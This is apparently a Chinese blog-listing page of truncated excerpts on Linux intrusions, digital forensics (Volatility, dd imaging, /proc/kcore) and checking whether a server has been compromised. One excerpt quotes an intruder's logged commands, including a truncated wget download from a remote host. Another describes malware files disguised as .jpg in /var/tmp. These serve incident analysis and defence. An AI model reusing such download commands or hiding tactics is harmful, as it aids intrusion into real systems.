在互联网时代，网络安全问题一直备受关注。尤其是在操作系统领域，Linux作为一款开源的操作系统备受青睐，然而最近却传出了Linux被黑的消息，令人大感震惊。
Linux作为一个开源的操作系统，一直被认为比闭源的操作系统更加安全。但是最近传出的Linux被黑的消息却让人感到担忧。据悉，一些黑客利用操作系统的漏洞，成功入侵了Linux系统，并进行了一系列恶意行为。这不仅对系统的稳定性造成了威胁，更对
原创
2024-03-05 13:13:44
74阅读
1、查看系统信息 [root@server02 ~]# uname -a #查看内核
Linux server02 3.10.0-957.el7.x86_64 #1 SMP Thu Nov 8 23:39:32 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[root@server02 ~]# cat /etc/redhat-release #查
转载
2021-04-27 10:04:51
629阅读
2评论
一、电子数据取： 1、什么是取证 电子取证学：为打击网络犯罪而生的电子数据取证，是计算机学科与法学学科交叉的一门学科，涉及到的知识包括计算机软硬件知识体系、网络技术、密码学、通信技术以及法学知识等。 常规取证：有调查取证权的组织或者个人为了查明案件事实的需要，向有关单位或个人依法进行调查和收集证据。 ...
转载
2021-08-17 16:48:00
156阅读
2评论
Kali Linux是一款专门用于数字取证的操作系统，它集成了许多用于取证和渗透测试的工具，因此被广泛应用在网络安全领域。数字取证是指通过调查和分析数字设备中的数据，以确定并呈现证据来解决犯罪或争议。
数字取证在当前社会中变得越来越重要，随着人们在日常生活中越来越依赖数字技术，各种犯罪活动也在不断演变并利用数字技术进行策划和实施。因此，数字取证不仅可以帮助警方侦破案件，还可以帮助企业和个人保护其
原创
2024-04-02 09:49:07
80阅读
/proc/kcore文件提供了整个机器的内存映像，和vmcore不同的是，它提供了一个运行时的内存映像，为此和vmcore一样，内核提供了一个类似的但是稍显简单的kcore_list结构体，我们比较一下它们： struct kcore_list {
struct kcore_list *next;
unsigned long addr;
FreeRTOS基础知识不赘述，请参考朱工的专栏， 本文主要描述怎么在Linux的环境下跑一个FreeRTOS的模拟器官方示例FreeRTOS的官方提供了一个在Linux下的Simulator的示例，但是用的Kernel的版本非常老，是V6的版本，FreeRTOS现在已经进化到V10了，作为一个标准码农，不用最新版本简直不舒服斯基 >_<。 先把官方示例下载下来，在官方示例中，有一个
今天登陆一个服务器,上去安装些软件,运行ps查看进程,天啦,好多scan-ssh进程.这是个才上线的机器,什么也没装,看来中招了.啥原因?设置了简单密码没更改.
我们来看看他都干了些什么:
cd /var/tmp //传文件到这个目录,一共2个文件a.jpg及z,jpg,挺狡猾的,这样命名文件
原创
2008-07-08 19:14:28
5742阅读
点赞
23评论
linux还是不是很熟悉，单位里linux的机器不是了。都是linux安全。但是我认为要使不够熟悉，危险起来更可怕。因为你根本不知道危险在哪里？
最起码，总是能判读linux系统是不是被黑了吧。
如何判读：
1、ps命令查看进程 但是要看看ps是不是被黑客替换了！看看它的大小和时间修改时间是否正常
2、history命令，通过历史命令查看，他们都做了什么，但是要看看
原创
2010-08-18 20:05:44
703阅读
俗称“脚本小鬼”的家伙是属于那种很蹩脚的黑客，因为根基上他们中的很多和年夜多半人都是云云的没有能力。可以这样说，若是你装配了悉数正确的补丁，拥有经过测试的防火墙，并且
转载
2011-03-07 20:46:00
82阅读
最近简单的了解了一下Volatility这个开源的取证框架，这个框架能够对导出的内存镜像镜像分析，能过通过获取内核的数据结构，使用插件获取内存的详细情况和运行状态，同时可以直接dump系统文件，屏幕截图，查看进程等等等等~~~ 0x01 安装安装分为三步走：下载安装必要的python依赖文件安装本体下载你可以在Release中找到对应你系统（Mac，Win，Linux）的源代码，当然也可
转载
2024-05-21 10:54:16
269阅读
1 磁盘取证在计算机的取证领域中，取证人员在取证调查的整个过程中证明证据媒体没有在任何方面被篡改是至关重要的。其中一种方法是对原始的证据媒体作一个映象复制，并对映象复制品展开调查，以防止对原始证据的任何更改。 1.1本地通过挂载移动硬盘或者其他介质 将需要取证的硬盘sda通过dd命令镜像到目标硬盘sdb中镜像工具 dd>#dd if=/dev/sda of=/mnt/20
原创
2021-11-05 10:53:29
3544阅读
点赞
俗称“脚本小鬼”的家伙是属于那种很糟糕的黑客，因为基本上他们中的许多和大多数人都是如此的没有技巧。可以这样说，如果你安装了所有正确的补丁，拥有经过测试的防火墙，并且在多个级别都激活了先进的入侵检测系统，那么只有在一种情况下你才会被黑，那就是，你太懒了以至没去做该做的事情，例如，安装 BIND的最新补丁。 一不留神而被黑确实让人感到为难，更严重的是某些脚本小鬼还会下载一些众所周知的“root kit
转载
精选
2008-12-27 14:38:35
586阅读
点赞
1评论
下面是一台公网主机被黑的过程（以下记录通过PROMPT_COMMAND系统环境变量后台抓取）Nov 24 03:24:32 ***: [euid=root]::[/root]# Nov 24 03:24:34 ***: [euid=root]::[/root]# historyNov 24 03:26:52 ***: [euid=root]::[/root]# wget http://2
原创
2015-10-09 09:08:10
1316阅读
在UNIX/Linux系统取证中，及时收集硬盘的信息至关重要，《Unix/Linux网络日志分析与流量监控》一书中，将详细讨论各种常见系统进程系统调用及镜像文件获取方法。下面简单举几个例子。1.收集正在运行的进程在UNIX/Linux取证时很多系统和网络信息是短时存在的可谓是转瞬即逝，如何准确的捕捉到哪些蛛丝马迹呢？网络安全人员需要具有敏锐的观察力和丰富的经验下面例举几个常用的方法。首先，在收集主
原创
2021-03-09 10:51:11
686阅读
俗称“脚本小鬼”的家伙是属于那种很糟糕的黑客，因为基本上他们中的许多和大多数人都是如此的没有技巧。可以这样说，如果你安装了所有正确的补丁，拥有经过测试的防火墙，并且在多个级别都激活了先进的入侵检测系统，那么只有在一种情况下你才会被黑，那就是，你太懒了以至没去做该做的事情，例如，安装 BIND的最新补丁。
一不留神而被黑确实让人感到为难，更严重的是某些脚本小鬼还会下载一
转载
2011-09-05 10:38:35
165阅读
点击上方“朱小厮的博客”，选择“设为星标”后台回复”内推“，加入内推群安全是IT行业一个老生常谈的话题了，从之前的“棱镜门”事件中折射出了很多安全问题，处理好信息安全问题...
转载
2022-03-11 15:51:08
103阅读
俗称“脚本小鬼”的家伙是属于那种很糟糕的黑客，因为基本上他们中的许多和大多数人都是如此的没有技巧。可以这样说，如果你安装了所有正确的补丁，拥有经过测试的防火墙，并且在多个级别都激活了先进的入侵检测系统，那么只有在一种情况下你才会被黑，那就是，你太懒了以至没去做该做的事情，例如，安装 BIND的最新补丁。 一不留神而被黑确实让人感到为难，更严重的是某些脚本小鬼还会下载一
转载
精选
2008-12-26 10:46:15
625阅读
6评论
检测Linux系统是否被黑的技巧
俗称“脚本小鬼”的家伙
是属于那种很糟糕的黑客，因为基本上他们中的许多和大多数人都是如此的没有技巧。可以这样说，如果你安装了所有正确的补丁，拥有经过测试的防火墙，并且在
多个级别都激活了先进的入侵检测系统，那么只有
转载
精选
2013-03-16 14:54:30
286阅读
